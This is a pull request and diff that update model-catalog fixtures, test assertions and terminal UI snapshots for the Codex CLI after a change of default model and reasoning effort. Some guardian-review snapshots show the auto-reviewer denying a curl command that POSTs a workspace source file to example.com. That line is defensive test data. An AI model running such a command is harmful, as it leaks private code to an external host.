Update models.json and related fixtures (#19323)

Supersedes #18735.

The scheduled rust-release-prepare workflow force-pushed
`bot/update-models-json` back to the generated models.json-only diff,
which dropped the test and snapshot updates needed for CI.

This PR keeps the latest generated `models.json` from #18735 and adds
the corresponding fixture updates:
- preserve model availability NUX in the app-server model cache fixture
- update core/TUI expectations for the new `gpt-5.4` `xhigh` default
reasoning
- refresh affected TUI chatwidget snapshots for the `gpt-5.5`
default/model copy changes

Validation run locally while preparing the fix:
- `just fmt`
- `cargo test -p codex-app-server model_list`
- `cargo test -p codex-core includes_no_effort_in_request`
- `cargo test -p codex-core
includes_default_reasoning_effort_in_request_when_defined_by_model_info`
- `cargo test -p codex-tui --lib chatwidget::tests`
- `cargo insta pending-snapshots`

---------

Co-authored-by: aibrahim-oai <219906144+aibrahim-oai@users.noreply.github.com>

codex-rs/app-server/tests/common/models_cache.rs

@@ -36,7 +36,7 @@ fn preset_to_info(preset: &ModelPreset, priority: i32) -> ModelInfo {
         default_reasoning_summary: ReasoningSummary::Auto,
         support_verbosity: false,
         default_verbosity: None,
-        availability_nux: None,
+        availability_nux: preset.availability_nux.clone(),
         apply_patch_tool_type: None,
         web_search_tool_type: Default::default(),
         truncation_policy: TruncationPolicyConfig::bytes(/*limit*/ 10_000),

codex-rs/core/tests/suite/client.rs

@@ -1575,7 +1575,7 @@ async fn includes_no_effort_in_request() -> anyhow::Result<()> {
             .get("reasoning")
             .and_then(|t| t.get("effort"))
             .and_then(|v| v.as_str()),
-        Some("medium")
+        Some("xhigh")
     );
 
     Ok(())
@@ -1617,7 +1617,7 @@ async fn includes_default_reasoning_effort_in_request_when_defined_by_model_info
             .get("reasoning")
             .and_then(|t| t.get("effort"))
             .and_then(|v| v.as_str()),
-        Some("medium")
+        Some("xhigh")
     );
 
     Ok(())

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap

@@ -2,6 +2,13 @@
 source: tui/src/chatwidget/tests/guardian.rs
 expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 ---
+
+
+
+
+
+
+
 ✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c
   odex.rs https://example.com
 
@@ -10,4 +17,4 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_timed_out_renders_timed_out_request.snap

@@ -17,4 +17,4 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_mcp_startup_failure_renders_warning_history.snap

@@ -2,10 +2,13 @@
 source: tui/src/chatwidget/tests/mcp_startup.rs
 expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 ---
+
+
+
 ⚠ MCP client for `alpha` failed to start: handshake failed
 ⚠ MCP startup incomplete (failed: alpha)
 
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap

@@ -26,4 +26,4 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__compact_queues_user_messages_snapshot.snap

@@ -2,6 +2,16 @@
 source: tui/src/chatwidget/tests/slash_commands.rs
 expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 ---
+
+
+
+
+
+
+
+
+
+
 • Working (0s • esc to interrupt)
 
 • Messages to be submitted at end of turn
@@ -9,4 +19,4 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap

@@ -2,10 +2,15 @@
 source: tui/src/chatwidget/tests/guardian.rs
 expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 ---
+
+
+
+
+
 ✔ Auto-reviewer approved codex to run rm -f /tmp/guardian-approved.sqlite this
   time
 
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_request_permissions_renders_request_summary.snap

@@ -13,4 +13,4 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap

@@ -2,6 +2,13 @@
 source: tui/src/chatwidget/tests/guardian.rs
 expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 ---
+
+
+
+
+
+
+
 ⚠ Automatic approval review denied (risk: high): The planned action would
   transmit the full contents of a workspace source file (`core/src/codex.rs`) to
   `https://example.com`, which is an external and untrusted endpoint.
@@ -14,4 +21,4 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap

@@ -9,4 +9,4 @@ expression: normalize_snapshot_paths(rendered)
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_timed_out_exec_renders_warning_and_timed_out_request.snap

@@ -21,4 +21,4 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap

@@ -8,4 +8,4 @@ expression: normalized_backend_snapshot(terminal.backend())
 "                                                                                "
 "› Ask Codex to do anything                                                      "
 "                                                                                "
-"  gpt-5.4 default · /tmp/project                                                "
+"  gpt-5.5 default · /tmp/project                                                "

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap

@@ -4,9 +4,10 @@ expression: popup
 ---
   Select Reasoning Level for gpt-5.4
 
-  1. Low               Fast responses with lighter reasoning
+  1. Low                   Fast responses with lighter reasoning
-  2. Medium (default)  Balances speed and reasoning depth for everyday tasks
+  2. Medium                Balances speed and reasoning depth for everyday
-› 3. High (current)    Greater reasoning depth for complex problems
+                           tasks
-  4. Extra high        Extra high reasoning depth for complex problems
+› 3. High (current)        Greater reasoning depth for complex problems
+  4. Extra high (default)  Extra high reasoning depth for complex problems
 
   Press enter to confirm or esc to go back

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap

@@ -5,10 +5,13 @@ expression: popup
   Select Model and Effort
   Access legacy models by running codex -m <model_name> or in your config.toml
 
-  1. gpt-5.4 (default)  Latest frontier agentic coding model.
+  1. gpt-5.5 (default)  Frontier model for complex coding, research, and real-
-  2. gpt-5.4-mini       Smaller frontier agentic coding model.
+                        world work.
-  3. gpt-5.3-codex      Frontier Codex-optimized agentic coding model.
+  2. gpt-5.4            Strong model for everyday coding.
-› 4. gpt-5.2 (current)  Optimized for professional work and long-running
+  3. gpt-5.4-mini       Small, fast, and cost-efficient model for simpler
-                        agents
+                        coding tasks.
+  4. gpt-5.3-codex      Coding-optimized model.
+› 5. gpt-5.2 (current)  Optimized for professional work and long-running
+                        agents.
 
   Press enter to select reasoning effort, or esc to dismiss.

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap

@@ -8,4 +8,4 @@ expression: normalized_backend_snapshot(terminal.backend())
 "                                                                                "
 "› Ask Codex to do anything                                                      "
 "                                                                                "
-"  gpt-5.4 default · /tmp/project                                                "
+"  gpt-5.5 default · /tmp/project                                                "

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap

@@ -5,8 +5,8 @@ expression: popup
   Approaching rate limits
   Switch to gpt-5.4-mini for lower credit usage?
 
-› 1. Switch to gpt-5.4-mini                 Smaller frontier agentic coding
+› 1. Switch to gpt-5.4-mini                 Small, fast, and cost-efficient
-                                            model.
+                                            model for simpler coding tasks.
   2. Keep current model
   3. Keep current model (never show again)  Hide future rate limit reminders
                                             about switching models.

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap

@@ -2,6 +2,16 @@
 source: tui/src/chatwidget/tests/review_mode.rs
 expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 ---
+
+
+
+
+
+
+
+
+
+
 • Working (0s • esc to interrupt)
 
 • Messages to be submitted at end of turn
@@ -9,4 +19,4 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__side_context_label_preserves_status_line.snap

@@ -6,4 +6,4 @@ expression: terminal.backend()
 "                                                                                "
 "› Check recently modified functions for compatibility                           "
 "                                                                                "
-"  gpt-5.4                                Side from main thread · Esc to return  "
+"  gpt-5.5                                Side from main thread · Esc to return  "

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__side_context_label_shows_parent_status.snap

@@ -6,4 +6,4 @@ expression: terminal.backend()
 "                                                                                "
 "› Check recently modified functions for compatibility                           "
 "                                                                                "
-"  gpt-5.4 default · … Side from main thread · main needs input · Esc to return  "
+"  gpt-5.5 default · … Side from main thread · main needs input · Esc to return  "

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_side_requests_forked_side_question_while_task_running.snap

@@ -8,4 +8,4 @@ expression: normalized_backend_snapshot(terminal.backend())
 "                                                                                "
 "› Ask Codex to do anything                                                      "
 "                                                                                "
-"  gpt-5.4 default                                             Side starting...  "
+"  gpt-5.5 default                                             Side starting...  "

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap

@@ -8,4 +8,4 @@ expression: normalized_backend_snapshot(terminal.backend())
 "                                                                                "
 "› Ask Codex to do anything                                                      "
 "                                                                                "
-"  gpt-5.4 default · /tmp/project                                                "
+"  gpt-5.5 default · /tmp/project                                                "

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap

@@ -8,4 +8,4 @@ expression: normalized_backend_snapshot(terminal.backend())
 "                                                                                "
 "› Ask Codex to do anything                                                      "
 "                                                                                "
-"  gpt-5.4 default · /tmp/project                                                "
+"  gpt-5.5 default · /tmp/project                                                "

codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap

@@ -8,4 +8,4 @@ expression: normalize_snapshot_paths(rendered)
 
 › Ask Codex to do anything
 
-  gpt-5.4 default · /tmp/project
+  gpt-5.5 default · /tmp/project

codex-rs/tui/src/chatwidget/tests/plan_mode.rs

@@ -205,8 +205,7 @@ async fn reasoning_selection_in_plan_mode_without_effort_change_does_not_open_sc
     let _ = drain_insert_history(&mut rx);
     set_chatgpt_auth(&mut chat);
 
-    let current_preset = get_available_model(&chat, "gpt-5.4");
+    chat.set_reasoning_effort(Some(ReasoningEffortConfig::Medium));
-    chat.set_reasoning_effort(Some(current_preset.default_reasoning_effort));
 
     let preset = get_available_model(&chat, "gpt-5.4");
     chat.open_reasoning_popup(preset);

codex-rs/tui/src/chatwidget/tests/status_command_tests.rs

@@ -90,7 +90,7 @@ async fn status_command_uses_catalog_default_reasoning_when_config_empty() {
         other => panic!("expected status output, got {other:?}"),
     };
     assert!(
-        rendered.contains("gpt-5.4 (reasoning medium, summaries auto)"),
+        rendered.contains("gpt-5.4 (reasoning xhigh, summaries auto)"),
         "expected /status to render the catalog default reasoning effort, got: {rendered}"
     );
 }